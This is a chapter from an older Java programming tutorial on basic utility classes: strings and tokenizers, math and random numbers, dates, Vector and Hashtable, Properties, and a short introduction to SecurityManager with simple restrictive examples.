StringBuffer also provides a number of overloaded
insert() methods for inserting various types
of data at a particular location in the string buffer.

The String and StringBuffer
classes cooperate, so that even in this last operation, no copy has to
be made. The string data is shared between the objects, unless and until
we try to change it in the StringBuffer.

So, when should you use a StringBuffer
instead of a String? If you need to keep adding
characters to a string, use a StringBuffer; it's
designed to efficiently handle such modifications. You'll still
have to convert the StringBuffer to a
String when you need to use any of the methods in
the String class. You can print a
StringBuffer directly using
System.out.println()because
println() calls the toString()
for you.

Another thing you should know about
StringBuffer methods is that they are thread-safe,
just like all public methods in the Java API. This means that any time
you modify a StringBuffer, you don't have to
worry about another thread coming along and messing up the string
while you are modifying it. If you recall our discussion of
synchronization in Chapter 6, Threads, you know that being
thread-safe means that only one thread at a time can change the state
of a StringBuffer instance.

On a final note, I mentioned earlier that strings take
advantage of the single overloaded operator in Java,
+, for concatenation. You might be interested to
know that the compiler uses a StringBuffer to
implement concatenation. Consider the following expression:

String foo = "To " + "be " + "or";

This is equivalent to:

String foo = new
  StringBuffer().append("To ").append("be ").append("or").toString();

This kind of chaining of expressions is one of the things
operator overloading hides in other languages.

java.util.StringTokenizer

A common programming task involves parsing a string of text into words
or "tokens" that are separated by some set of delimiter
characters. The java.util.StringTokenizer class is
a utility that does just this. The following example reads words from
the string text:

String text = "Now is the time for all good men (and women)...";
StringTokenizer st = new StringTokenizer( text );

while ( st.hasMoreTokens() )  {
    String word = st.nextToken();
    ...
}

First, we create a new StringTokenizer from the
String. We invoke the
hasMoreTokens() and nextToken()
methods to loop over the words of the text. By default, we use white
space (i.e., carriage return, newline, and tab) as delimiters.

The StringTokenizer implements the
java.util.Enumeration interface, which means that
StringTokenizer also implements two more general
methods for accessing elements: hasMoreElements()
and nextElement(). These methods are defined by the
Enumeration interface; they provide a standard way
of returning a sequence of values, as we'll discuss a bit
later. The advantage of nextToken() is that it
returns a String, while
nextElement() returns an
Object. The Enumeration
interface is implemented by many items that return sequences or
collections of objects, as you'll see when we talk about
hashtables and vectors later in the chapter. Those of you who have
used the C strtok()function should appreciate how
useful this object-oriented equivalent is.

You can also specify your own set of delimiter characters in
the StringTokenizer constructor, using another
String argument to the constructor. Any combination
of the specified characters is treated as the equivalent of white
space for tokenizing:

text = "http://foo.bar.com/";
tok = new StringTokenizer( text, "/:" );

if ( tok.countTokens() < 2 )            // bad URL

String protocol = tok.nextToken();      // protocol = "http" String host = tok.nextToken();          // host = "foo.bar.com"

The example above parses a URL specification to get
at the protocol and host components. The characters "/"
and ":" are used as separators. The countTokens()
method provides a fast way to see how many tokens will be returned by
nextToken(), without actually creating the
String objects.

An overloaded form of nextToken() accepts a
string that defines a new delimiter set for that and subsequent
reads. And finally, the StringTokenizer constructor
accepts a flag that specifies that separator characters are to be
returned individually as tokens themselves. By default, the token
separators are not returned.

Previous | Home | Next
Scheduling and Priority | Book Index | Math Utilities

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 7] 7.2 Math Utilities

Previous Chapter 7
Basic Utility Classes 		Next

7.2 Math Utilities

Java supports integer and floating-point arithmetic directly. Higher-level math operations are supported through the java.lang.Math class. Java provides wrapper classes for all primitive data types, so you can treat them as objects if necessary. Java also provides the java.util.Random class for generating random numbers.

Java handles errors in integer arithmetic by throwing an ArithmeticException:

int zero = 0;

try {
    int i = 72 / zero;
}
catch ( ArithmeticException e ) {       // division by zero
}

To generate the error in the above example, we created the intermediate variable zero. The compiler is somewhat crafty and would have caught us if we had blatantly tried to perform a division by zero.

Floating-point arithmetic expressions, on the other hand, don't throw exceptions. Instead, they take on the special out-of-range values shown in Table 7.3.

Table 7.3: Special Floating-Point Values
Value | Mathematical representation
POSITIVE_INFINITY | 1.0/0.0
NEGATIVE_INFINITY | -1.0/0.0
NaN | 0.0/0.0

The following example generates an infinite result:

double zero = 0.0;
double d = 1.0/zero;

if ( d == Double.POSITIVE_INFINITY )
    System.out.println( "Division by zero" );

The special value NaN indicates the result is "not a number." The value NaN has the special distinction of not being equal to itself (NaN != NaN). Use Float.isNaN() or Double.isNaN() to test for NaN.

java.lang.Math

The java.lang.Math class serves as Java's math library. All its methods are static and used directly ; you can't instantiate a Math object. We use this kind of degenerate class when we really want methods to approximate normal functions in C. While this tactic defies the principles of object-oriented design, it makes sense in this case, as it provides a means of grouping some related utility functions in a single class. Table 7.4 summarizes the methods in java.lang.Math.

Table 7.4: Methods in java.lang.Math
Method | Argument type(s) | Functionality
Math.abs(a) | int, long, float, double | Absolute value
Math.acos(a) | double | Arc cosine
Math.asin(a) | double | Arc sine
Math.atan(a) | double | Arc tangent
Math.atan2(a,b) | double | Converts rectangular to polar coordinates
Math.ceil(a) | double | Smallest whole number greater than or equal to a
Math.cos(a) | double | Cosine
Math.exp(a) | double | Exponential number to the power of a
Math.floor(a) | double | Largest whole number less than or equal to a
Math.log(a) | double | Natural logarithm of a
Math.max(a, b) | int, long, float, double | Maximum
Math.min(a, b) | int, long, float, double | Minimum
Math.pow(a, b) | double | a to the power of b
Math.random() | None | Random number generator
Math.rint(a) | double | Converts double value to integral value in double format
Math.round(a) | float, double | Rounds
Math.sin(a) | double | Sine
Math.sqrt(a) | double | Square root
Math.tan(a) | double | Tangent

log(), pow(), and sqrt() can throw an ArithmeticException. abs(), max(), and min() are overloaded for all the scalar values, int, long, float, or double, and return the corresponding type. Versions of Math.round() accept either float or double and return int or long respectively. The rest of the methods operate on and return double values:

double irrational = Math.sqrt( 2.0 );
int bigger = Math.max( 3, 4 );
long one = Math.round( 1.125798 );

For convenience, Math also contains the static final double values E and PI:

double circumference = diameter * Math.PI;

java.math

If a long or a double just isn't big enough for you, the java.math package provides two classes, BigInteger and BigDecimal, that support arbitrary-precision numbers. These are full-featured classes with a bevy of methods for performing arbitrary-precision math. In the following example, we use BigInteger to add two numbers together.

try {
    BigDecimal twentyone = new BigDecimal("21");
    BigDecimal seven = new BigDecimal("7");
    BigDecimal sum = twentyone.add(seven);

    int twentyeight = sum.intValue();
}
catch (NumberFormatException nfe) { }
catch (ArithmeticException ae) { }

Wrappers for Primitive Types

In languages like Smalltalk, numbers and other simple types are objects, which makes for an elegant language design, but has trade-offs in efficiency and complexity. By contrast, there is a schism in the Java world between class types (i.e., objects) and primitive types (i.e., numbers, characters, and boolean values). Java accepts this trade-off simply for efficiency reasons. When you're crunching numbers you want your computations to be lightweight; having to use objects for primitive types would seriously affect performance. For the times you want to treat values as objects, Java supplies a wrapper class for each of the primitive types, as shown in Table 7.5.

Table 7.5: Primitive Type Wrappers
Primitive | Wrapper
void | java.lang.Void
boolean | java.lang.Boolean
char | java.lang.Character
byte | java.lang.Byte
short | java.lang.Short
int | java.lang.Integer
long | java.lang.Long
float | java.lang.Float
double | java.lang.Double

An instance of a wrapper class encapsulates a single value of its corresponding type. It's an immutable object that serves as a container to hold the value and let us retrieve it later. You can construct a wrapper object from a primitive value or from a String representation of the value. The following code is equivalent:

Float pi = new Float( 3.14 );
Float pi = new Float( "3.14" );

Wrapper classes throw a NumberFormatException when there is an error in parsing from a string:

try {
    Double bogus = new Double( "huh?" );
}
catch ( NumberFormatException e ) {     // bad number
}

You should arrange to catch this exception if you want to deal with it. Otherwise, since it's a subclass of RuntimeException, it will propagate up the call stack and eventually cause a run-time error if not caught.

Sometimes you'll use the wrapper classes simply to parse the String representation of a number:

String sheep = getParameter("sheep");
int n = new Integer( sheep ).intValue();

Here we are retrieving the value of the sheep parameter. This value is returned as a String, so we need to convert it to a numeric value before we can use it. Every wrapper class provides methods to get primitive values out of the wrapper; we are using intValue() to retrieve an int out of Integer. Since parsing a String representation of a number is such a common thing to do, the Integer and Long classes also provide the static methods Integer.parseInt() and Long.parseLong() that read a String and return the appropriate type. So the second line above is equivalent to:

int n = Integer.parseInt( sheep );

All wrappers provide access to their values in various forms. You can retrieve scalar values with the methods doubleValue(), floatValue(), longValue(), and intValue():

Double size = new Double ( 32.76 );

double d = size.doubleValue();
float f = size.floatValue();
long l = size.longValue();
int i = size.intValue();

The code above is equivalent to the primitive double value cast to the various types. For convenience, you can cast between the wrapper classes like Double class and the primitive data types.

Another common use of wrappers occurs when we have to treat a primitive value as an object in order to place it in a list or other structure that operates on objects. As you'll see shortly, a Vector is an extensible array of Objects. We can use wrappers to hold numbers in a Vector, along with other objects:

Vector myNumbers = new Vector();

Integer thirtyThree = new Integer( 33 );
myNumbers.addElement( thirtyThree );

Here we have created an Integer wrapper so that we can insert the number into the Vector using addElement(). Later, when we are taking elements back out of the Vector, we can get the number back out of the Integer as follows:

Integer theNumber = (Integer)myNumbers.firstElement();
int n = theNumber.intValue();           // n = 33

Random Numbers

You can use the java.util.Random class to generate random values. It's a pseudo-random number generator that can be initialized with a 48-bit seed.[1] The default constructor uses the current time as a seed, but if you want a repeatable sequence, specify your own seed with:

[1] The generator uses a linear congruential formula. See The Art of Computer Programming, Volume 2 "Semi-numerical Algorithms," by Donald Knuth (Addison-Wesley).

long seed = mySeed;
Random rnums = new Random( seed );

This code creates a random-number generator. Once you have a generator, you can ask for random values of various types using the methods listed in Table 7.6.

Table 7.6: Random Number Methods
Method | Range
nextInt() | -2147483648 to 2147483647
nextLong() | -9223372036854775808 to 9223372036854775807
nextFloat() | -1.0 to 1.0
nextDouble() | -1.0 to 1.0

By default, the values are uniformly distributed. You can use the nextGaussian() method to create a Gaussian distribution of double values, with a mean of 0.0 and a standard deviation of 1.0.

The static method Math.random() retrieves a random double value. This method initializes a private random-number generator in the Math class, using the default Random constructor. So every call to Math.random() corresponds to a call to nextDouble() on that random number generator.

Previous | Home | Next
Strings | Book Index | Dates
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.3 Dates

Previous Chapter 7
Basic Utility Classes 		Next

7.3 Dates

Working with dates and times without the proper tools can be a chore.[2] Java 1.1 gives you three classes that do all the hard work for you. The java.util.Date encapsulates a point in time. The java.util.GregorianCalendar class, which descends from the abstract java.util.Calendar, translates between a point in time and calendar fields like month, day, and year. Finally, the java.text.DateFormat class knows how to generate and parse string representations of dates and times. In Java 1.0.2, the Date class performed all three functions. In Java 1.1, most of its methods have been deprecated, so that its only purpose in life is to represent a point in time.

[2] For a wealth of information about time and world time keeping conventions, see http://tycho.usno.navy.mil/, the U.S. Navy Directorate of Time. For a fascinating history of the Gregorian and Julian calendars, try http://barroom.visionsystems.com/serendipity/date/jul_greg.html.

The separation of the Date class and the GregorianCalendar class is analagous to having a class representing temperature and a class that translates that temperature to Celsius units. Conceivably, we could define other subclasses of Calendar, say JulianCalendar or LunarCalendar.

The default GregorianCalendar constructor creates an object that represents the current time, as determined by the system clock:

GregorianCalendar now = new GregorianCalendar();

Other constructors accept values to initialize the calendar. In the first statement below, we construct an object representing August 9, 1996; the second statement specifies both a date and a time, yielding an object that represents 9:01 AM, April 8, 1997.

GregorianCalendar daphne =
    new GregorianCalendar(1996, Calendar.AUGUST, 9);
GregorianCalendar sometime =
    new GregorianCalendar(1997, Calendar.APRIL, 8, 9, 1); // 9:01 AM

We can also create a GregorianCalendar by setting specific fields using the set() method. The Calendar class contains a torrent of constants representing both calendar fields and field values. The first argument to the set() method is a field constant; the second argument is the new value for the field.

GregorianCalendar kristen = new GregorianCalendar();
kristen.set(Calendar.YEAR, 1972);
kristen.set(Calendar.MONTH, Calendar.MAY);
kristen.set(Calendar.DATE, 20);

A GregorianCalendar is created in the default time zone. Setting the time zone of the calendar is as easy as obtaining the desired TimeZone and giving it to the GregorianCalendar:

GregorianCalendar smokey = new GregorianCalendar();
smokey.setTimeZone(TimeZone.getTimeZone("MST"));

To create a string representing a point in time, use the DateFormat class. Although DateFormat itself is abstract, it has several factory methods that return useful DateFormat subclass instances. To get a default DateFormat, simply call getInstance().

DateFormat plain = DateFormat.getInstance();
String now = plain.format(new Date());  // 4/9/97 6:06 AM

Those of you who don't live on the West coast will notice that the example above produces a result that is not quite right. DateFormat instances stubbornly insist on using Pacific Standard Time, so you have to tell them what time zone you're in:

DateFormat plain = DateFormat.getInstance();
plain.setTimeZone(TimeZone.getDefault());
String now = plain.format(new Date());  // 4/9/97 9:06 AM

You can generate a date string or a time string, or both, using the getDateInstance(), getTimeInstance(), and getDateTimeInstance() factory methods. The argument to these methods describes what level of detail you'd like to see. DateFormat defines four constants representing detail levels: they are SHORT, MEDIUM, LONG, and FULL. There is also a DEFAULT, which is the same as MEDIUM. The code below creates three DateFormat instances: one to format a date, one to format a time, and one to format a date and time together. Note that getDateTimeInstance() requires two arguments: the first specifies how to format the date, the second says how to format the time.

DateFormat df = DateFormat.getDateInstance(DateFormat.DEFAULT); // 09-Apr-97
DateFormat tf = DateFormat.getTimeInstance(DateFormat.DEFAULT); // 9:18:27 AM
DateFormat dtf =
    DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
    // Wednesday, April 09, 1997 9:18:27 o'clock AM EDT

Formatting dates and times for other countries is just as easy. There are overloaded factory methods that accept a Locale argument:

DateFormat df =
    DateFormat.getDateInstance(DateFormat.DEFAULT, Locale.FRANCE);
    // 9 avr. 97
DateFormat tf =
    DateFormat.getTimeInstance(DateFormat.DEFAULT, Locale.GERMANY);
    // 9:27:49
DateFormat dtf =
    DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL,
                                   Locale.ITALY);
    // mercoledi 9 aprile 1997 9.27.49 GMT-04:00

To parse a string representing a date, we use the parse() method of the DateFormat class. The result is a Date object. The parsing algorithms are finicky, so it's safest to parse dates and times that are in the same format that is produced by the DateFormat. The parse() method throws a ParseException if it doesn't understand the string you give it. Occasionally other exceptions are thrown from the parse() method. To cover all the bases, catch NullPointerExceptions and StringIndexOutOfBoundsExceptions also.

try {
  Date d;
  DateFormat df;

  df = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
  d = df.parse("Wednesday, April 09, 1997 2:22:22 o'clock PM EST"); // ok

  df = DateFormat.getDateTimeInstance(DateFormat.MEDIUM, DateFormat.MEDIUM);
  d = df.parse("09-Apr-97 2:22:22 PM"); //ok

  df = DateFormat.getDateTimeInstance(DateFormat.LONG, DateFormat.LONG);
  d = df.parse("April 09, 1997 2:22:22 PM EST");    // ok
  d = df.parse("09-Apr-97 2:22:22 PM"); // ParseException - detail level mismatch
}
catch (Exception e) {}

There's been a lot of talk about the "millenium bug" lately. This refers to the expected failure of software in the year 2000, when programs that use two digits to represent years interpret "00" as 1900 instead of 2000. Java is mostly safe from this error. The Date class has no specific field for year and is thus immune to this problem. The only time you'll run into this error in Java is when you use a DateFormat to parse a date string with a two-digit year. Two-digit years are automatically prefixed with 19. My advice is to always use a four-digit year when you expect to parse a date string.

Previous | Home | Next
Math Utilities | Book Index | Vectors and Hashtables
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.4 Vectors and Hashtables

Previous Chapter 7
Basic Utility Classes 		Next

7.4 Vectors and Hashtables

Vectors and hashtables are collection classes. Each stores a group of objects according to a particular retrieval scheme. Aside from that, they are not particularly closely related things. A hashtable is a dictionary; it stores and retrieves objects by a key value. A vector, on the other hand, holds an ordered collection of elements. It's essentially a dynamic array. Both of these, however, have more subtle characteristics in common. First, they are two of the most useful aspects of the core Java distribution. Second, they both take full advantage of Java's dynamic nature at the expense of some of its more static type safety.

If you work with dictionaries or associative arrays in other languages, you should understand how useful these classes are. If you are someone who has worked in C or another static language, you should find collections to be truly magical. They are part of what makes Java powerful and dynamic. Being able to work with lists of objects and make associations between them is an abstraction from the details of the types. It lets you think about the problems at a higher level and saves you from having to reproduce common structures every time you need them.

java.util.Vector

A Vector is a dynamic array; it can grow to accommodate new items. You can also insert and remove elements at arbitrary positions within it. As with other mutable objects in Java, Vector is thread-safe. The Vector class works directly with the type Object, so we can use them with instances of any kind of class.[3] We can even put different kinds of Objects in a Vector together; the Vector doesn't know the difference.

[3] In C++, where classes don't derive from a single Object class that supplies a base type and common methods, the elements of a collection would usually be derived from some common collectable class. This forces the use of multiple inheritance and brings its associated problems.

As you might guess, this is where things get tricky. To do anything useful with an Object after we take it back out of a Vector, we have to cast it back (narrow) it to its original type. This can be done with safety in Java because the cast is checked at run-time. Java throws a ClassCastException if we try to cast an object to the wrong type. However, this need for casting means that your code must remember types or methodically test them with instanceof. That is the price we pay for having a completely dynamic collection class that operates on all types.

You might wonder if you can subclass Vector to produce a class that looks like a Vector, but that works on just one type of element in a type-safe way. Unfortunately, the answer is no. We could override Vector's methods to make a Vector that rejects the wrong type of element at run-time, but this does not provide any new compile-time, static type safety. In C++, templates provide a safe mechanism for parameterizing types by restricting the types of objects used at compile-time. The keyword generic is a reserved word in Java. This means that it's possible that future versions might support C++-style templates, using generic to allow statically checked parameterized types.

We can construct a Vector with default characteristics and add elements to it using addElement() and insertElement():

Vector things = new Vector();

String one = "one";
String two = "two";
String three = "three";

things.addElement( one );
things.addElement( three );
things.insertElementAt( two, 1 );

things now contains three String objects in the order "one," "two," and "three." We can retrieve objects by their position with elementAt(), firstElement(), and lastElement():

String s1 = (String)things.firstElement();       // "one"
String s3 = (String)things.lastElement();        // "three"
String s2 = (String)things.elementAt(1);         // "two"

We have to cast each Object back to a String in order to assign it a String reference. ClassCastException is a type of RuntimeException, so we can neglect to guard for the exception if we are feeling confident about the type we are retrieving. Often, as in this example, you'll just have one type of object in the Vector. If we were unsure about the types of objects we were retrieving, we would want to be prepared to catch the ClassCastException or test the type explicitly with the instanceof operator.

We can search for an item in a Vector with the indexOf() method:

int i = things.indexOf( three );                 // i = 2

indexOf() returns a value of -1 if the object is not found. As a convenience, we can also use contains() simply to test for the presence of the object.

Finally, removeElement() removes a specified Object from the Vector:

things.removeElement( two );

The element formerly at position three now becomes the second element.

The size() method reports the number of objects currently in the Vector. You might think of using this to loop through all elements of a Vector, using elementAt() to get at each element. This works just fine, but there is a more general way to operate on a complete set of elements like those in a Vector.

java.util.Enumeration

The java.util.Enumeration interface can be used by any sort of set to provide serial access to its elements. An object that implements the Enumeration interface presents two methods: nextElement() and hasMoreElements(). nextElement() returns an Object type, so it can be used with any kind of collection. As with taking objects from a Vector, you need to know or determine what the objects are and cast them to the appropriate types before using them.

Enumeration is useful because any type of object can implement the interface and then use it to provide access to its elements. If you have an object that handles a set of values, you should think about implementing the Enumeration interface. Simply provide a hasMoreElements() test and a nextElement() iterator and declare that your class implements java.util.Enumeration. One advantage of an Enumeration is that you don't have to provide all values up front; you can provide each value as it's requested with nextElement(). And since Enumeration is an interface, you can write general routines that operate on all of the elements Enumeration.

An Enumeration does not guarantee the order in which elements are returned, however, so if order is important you don't want to use an Enumeration. You can iterate through the elements in an Enumeration only once; there is no way to reset it to the beginning or move backwards through the elements.

A Vector returns an Enumeration of its contents when we call the elements() method:

Enumeration e = things.elements();

while ( e.hasMoreElements() ) {
    String s = (String)e.nextElement();
    System.out.println( s ):
}

The above code loops three times, as call nextElement(), to fetch our strings. The actual type of object returned by elements() is a VectorEnumeration, but we don't have to worry about that. We can always refer to an Enumeration simply by its interface.

Note that Vector does not implement the Enumeration interface. If it did, that would put a serious limitation on Vector because we could cycle through the elements in it only once. That's clearly not the purpose of a Vector, which is why Vector instead provides a method that returns an Enumeration.

java.util.Hashtable

As I said earlier, a hashtable is a dictionary, similar to an associative array. A hashtable stores and retrieves elements with key values; they are very useful for things like caches and minimalist databases. When you store a value in a hashtable, you associate a key with that value. When you need to look up the value, the hashtable retrieves it efficiently using the key. The name hashtable itself refers to how the indexing and storage of elements is performed, as we'll discuss shortly. First I want to talk about how to use a hashtable.

The java.util.Hashtable class implements a hashtable that, like Vector, operates on the type Object. A Hashtable stores an element of type Object and associates it with a key, also of type Object. In this way, we can index arbitrary types of elements using arbitrary types as keys. As with Vector, casting is generally required to narrow objects back to their original type after pulling them out of a hashtable.

A Hashtable is quite easy to use. We can use the put() method to store items:

Hashtable dates = new Hashtable();

dates.put( "christmas",
    new GregorianCalendar( 1997, Calendar.DECEMBER, 25 ) );
dates.put( "independence",
    new GregorianCalendar( 1997, Calendar.JULY, 4 ) );
dates.put( "groundhog",
    new GregorianCalendar( 1997, Calendar.FEBRUARY, 2 ) );

First we create a new Hashtable. Then we add three GregorianCalendar objects to the hashtable, using String objects as keys. The key is the first argument to put(); the value is the second. Only one value can be stored per key. If we try to store a second object under a key that already exists in the Hashtable, the old element is booted out and replaced by the new one. The return value of the put() method is normally null, but if the call to put() results in replacing an element, the method instead returns the old stored Object.

We can now use the get() method to retrieve each of the above dates by name, using the String key by which it was indexed:

GregorianCalendar g = (GregorianCalendar)dates.get( "christmas" );

The get() method returns a null value if no element exists for the given key. The cast is required to narrow the returned object back to type GregorianCalendar. I hope you can see the advantage of using a Hashtable over a regular array. Each value is indexed by a key instead of a simple number, so unlike a simple array, we don't have to remember where each GregorianCalendar is stored.

Once we've put a value in a Hashtable, we can take it back out with the remove() method, again using the key to access the value:

dates.remove("christmas");

We can test for the existence of a key with containsKey():

if ( dates.containsKey( "groundhog" ) ) {    // yes

Just like with a Vector, we're dealing with a set of items. Actually, we're dealing with two sets: keys and values. The Hashtable class has two methods, keys() and elements(), for getting at these sets. The keys() method returns an Enumeration of the keys for all of the elements in the Hashtable. We can use this Enumeration to loop through all of the keys:

for (Enumeration e = dates.keys(); e.hasMoreElements(); ) {
    String key = (String)e.nextElement();
    ...
}

Similarly, elements() provides an Enumeration of the elements themselves.

Hashcodes and key values

If you've used a hashtable before, you've probably guessed that there's more going on behind the scenes than I've let on so far. An element in a hashtable is not associated with its key by identity, but by something called a hashcode. Every object in Java has an identifying hashcode value determined by its hashCode() method, which is inherited from the Object class. When you store an element in a hashtable, the hashcode of the key object registers the element internally. Later, when you retrieve the item, that same hashcode looks it up efficiently.

A hashcode is usually a random-looking integer value based on the contents of an object, so it's different for different instances of a class. Two objects that have different hashcodes serve as unique keys in a hashtable; each object can reference a different stored object. Two objects that have the same hashcode value, on the other hand, appear to a hashtable as the same key. They can't coexist as keys to different objects in the hashtable.

Generally, we want our object instances to have unique hash codes, so we can put arbitrary items in a hashtable and index them with arbitrary keys. The default hashCode() method in the Object class simply assigns each object instance a unique number to be used as a hashcode. If a class does not override this method, each instance of the class will have a unique hashcode. This is sufficient for most objects.

However, it's also useful to allow equivalent objects to serve as equivalent keys. String objects provide a good example of this case. Although Java does its best to consolidate them, a literal string that appears multiple times in Java source code is often represented by different String objects at run-time. If each of these String objects has a different hash code, even though the literal value is the same, we could not use strings as keys in a hashtable, like we did the in above examples.

The solution is to ensure that equivalent String objects return the same hashcode value so that they can act as equivalent keys. The String class overrides the default hashCode() method so that equivalent String objects return the same hash code, while different String objects have unique hashcodes. This is possible because String objects are immutable; the contents can't change, so neither can the hashcode.

A few other classes in the Java API also override the default hashCode() method in order to provide equivalent hashcodes for equivalent objects. For example, each of the primitive wrapper classes provides a hashCode() method for this purpose. Other objects likely to be used as hashtable keys, such as Color, Date, File, and URL, also implement their own hashCode()methods.

So now maybe you're wondering when you need to override the default hashCode() method in your objects. If you're creating a class to use for keys in a hashtable, think about whether the class supports the idea of "equivalent objects." If so, you should implement a hashCode() method that returns the same hashcode value for equivalent objects.

To accomplish this, you need to define the hashcode of an object to be some suitably complex and arbitrary function of the contents of that object. The only criterion for the function is that it should be almost certain to provide different values for different contents of the object. Because the capacity of an integer is limited, hashcode values are not guaranteed to be unique. This limitation is not normally a problem though, as there are 2^32 possible hashcodes to choose from. The more sensitive the hashcode function is to small differences in the contents the better. A hashtable works most efficiently when the hashcode values are as randomly and evenly distributed as possible. As an example, you could produce a hashcode for a String object by adding the character values at each position in the string and multiplying the result by some number, producing a large random-looking integer.

java.util.Dictionary

java.util.Dictionary is the abstract superclass of Hashtable. It lays out the basic get(), put(), and remove() functionality for dictionary-style collections. You could derive other types of dictionaries from this class. For example, you could implement a dictionary with a different storage format, such as a binary tree.

Previous | Home | Next
Dates | Book Index | Properties
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.5 Properties

Previous Chapter 7
Basic Utility Classes 		Next

7.5 Properties

The java.util.Properties class is a specialized hashtable for strings. Java uses the Properties object to replace the environment variables used in other programming environments. You can use a Properties table to hold arbitrary configuration information for an application in an easily accessible format. The Properties object can also load and store information using streams (see Chapter 8, Input/Output Facilities for information on streams).

Any string values can be stored as key/value pairs in a Properties table. However, the convention is to use a dot-separated naming hierarchy to group property names into logical structures, as is done with X resources on UNIX systems.[4] The java.lang.System class provides system-environment information in this way, through a system Properties table I'll describe shortly.

[4] Unfortunately, this is just a naming convention right now, so you can't access logical groups of properties as you can with X resources.

Create an empty Properties table and add String key/value pairs just as with any Hashtable:

Properties props = new Properties();
props.put("myApp.xsize", "52");
props.put("myApp.ysize", "79");

Thereafter, you can retrieve values with the getProperty()method:

String xsize = props.getProperty( "myApp.xsize" );

If the named property doesn't exist, getProperty() returns null. You can get an Enumeration of the property names with the propertyNames() method:

for ( Enumeration e = props.propertyNames(); e.hasMoreElements; ) {
    String name = e.nextElement();
    ...
}

Default Values

When you create a Properties table, you can specify a second table for default property values:

Properties defaults;
...
Properties props = new Properties( defaults );

Now when you call getProperty(), the method searches the default table if it doesn't find the named property in the current table. An alternative version of getProperty() also accepts a default value; this value is returned if the property is not found in the current list or in the default list:

String xsize = props.getProperty( "myApp.xsize", "50" );

Loading and Storing

You can save a Properties table to an OutputStream using the save() method. The property information is output in flat ASCII format. Continuing with the above example, output the property information to System.out as follows:

props.save( System.out, "Application Parameters" );

As we'll discuss in Chapter 8, Input/Output Facilities, System.out is a standard output stream similar to C's stdout. We could also save the information to a file by using a FileOutputStream as the first argument to save(). The second argument to save() is a String that is used as a header for the data. The above code outputs something like the following to System.out:

#Application Parameters
#Mon Feb 12 09:24:23 CST 1997
myApp.ysize=79
myApp.xsize=52

The load() method reads the previously saved contents of a Properties object from an InputStream:

FileInputStream fin;
...
Properties props = new Properties()
props.load( fin );

The list() method is useful for debugging. It prints the contents to an OutputStream in a format that is more human-readable but not retrievable by load().

System Properties

The java.lang.System class provides access to basic system environment information through the static System.getProperty() method. This method returns a Properties table that contains system properties. System properties take the place of environment variables in other programming environments.

Table 7.7 summarizes system properties that are guaranteed to be defined in any Java environment.

Table 7.7: System Properties
System Property | Meaning
java.vendor | Vendor-specific string
java.vendor.url | URL of vendor
java.version | Java version
java.home | Java installation directory
java.class.version | Java class version
java.class.path | The class path
os.name | Operating-system name
os.arch | Operating-system architecture
os.version | Operating-system version
file.separator | File separator (such as "/" or " \")
path.separator | Path separator (such as ":" or ";")
line.separator | Line separator (such as "\n" or "\r\n")
user.name | User account name
user.home | User's home directory
user.dir | Current working directory

Applets are, by current Web browser conventions, prevented from reading the following properties: java.home, java.class.path, user.name, user.home, and user.dir. As you'll see in the next section, these restrictions are implemented by a SecurityManager object.

Previous | Home | Next
Vectors and Hashtables | Book Index | The Security Manager
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.6 The Security Manager

Previous Chapter 7
Basic Utility Classes 		Next

7.6 The Security Manager

As I described in Chapter 1, Yet Another Language?, a Java application's access to system resources, such as the display, the filesystem, threads, external processes, and the network, can be controlled at a single point with a security manager. The class that implements this functionality in the Java API is the java.lang.SecurityManager class.

An instance of the SecurityManager class can be installed once, and only once, in the life of the Java run-time environment. Thereafter, every access to a fundamental system resource is filtered through specific methods of the SecurityManager object by the core Java packages. By installing a specialized SecurityManager, we can implement arbitrarily complex (or simple) security policies for allowing access to individual resources.

When the Java run-time system starts executing, it's in a wide-open state until a SecurityManager is installed. The "null" security manager grants all requests, so the Java virtual environment can perform any activity with the same level of access as other programs running under the user's authority. If the application that is running needs to ensure a secure environment, it can install a SecurityManager with the static System.setSecurityManager() method. For example, a Java-enabled Web browser like Netscape Navigator installs a SecurityManager before it runs any Java applets.

java.lang.SecurityManager must be subclassed to be used. This class does not actually contain any abstract methods; it's abstract as an indication that its default implementation is not very useful. By default, each security method in SecurityManager is implemented to provide the strictest level of security. In other words, the default SecurityManager simply rejects all requests.

The following example, MyApp, installs a trivial subclass of SecurityManager as one of its first activities:

class FascistSecurityManager extends SecurityManager { }

public class MyApp {
    public static void main( Strings [] args ) {
        System.setSecurityManager( new FascistSecurityManager() );
        // No access to files, network, windows, etc.
        ...
    }
}

In the above scenario, MyApp does little aside from reading from System.in and writing to System.out. Any attempts to read or write files, access the network, or even open an window, results in a SecurityException being thrown.

After this draconian SecurityManager is installed, it's impossible to change the SecurityManager in any way. The security of this feature is not dependent on the SecurityManager; you can't replace or modify the SecurityManager under any circumstances. The upshot of this is that you have to install one that handles all your needs up front.

To do something more useful, we can override the methods that are consulted for access to various kinds of resources. Table 7.7 lists some of the more important access methods. You should not normally have to call these methods yourself, although you could. They are called by the core Java classes before granting particular types of access.

Table 7.8: SecurityManager Methods
Method | Can I...?
checkAccess(Thread g) | Access this thread?
checkExit(int status) | Execute a System.exit()?
checkExec(String cmd) | exec() this process?
checkRead(String file) | Read a file?
checkWrite(String file) | Write a file?
checkDelete(String file) | Delete a file?
checkConnect(String host, int port) | Connect a socket to a host?
checkListen(int port) | Create a server socket?
checkAccept(String host, int port) | Accept this connection?
checkPropertyAccess(String key) | Access this system property?
checkTopLevelWindow(Object window) | Create this new top-level window?

All these methods, with the exception of checkTopLevelWindow(), simply return to grant access. If access is not granted, they throw a SecurityException. checkTopLevelWindow() returns a boolean value. A value of true indicates the access is granted; a value of false indicates the access is granted with the restriction that the new window should provide a warning border that serves to identify it as an untrusted window.

Let's implement a silly SecurityManager that allows only files beginning with the name foo to be read:

class  FooFileSecurityManager extends SecurityManager {

    public void checkRead( String s ) {
        if ( !s.startsWith("foo") )
            throw new SecurityException("Access to non-foo file: " +
                s + " not allowed." );
    }
}

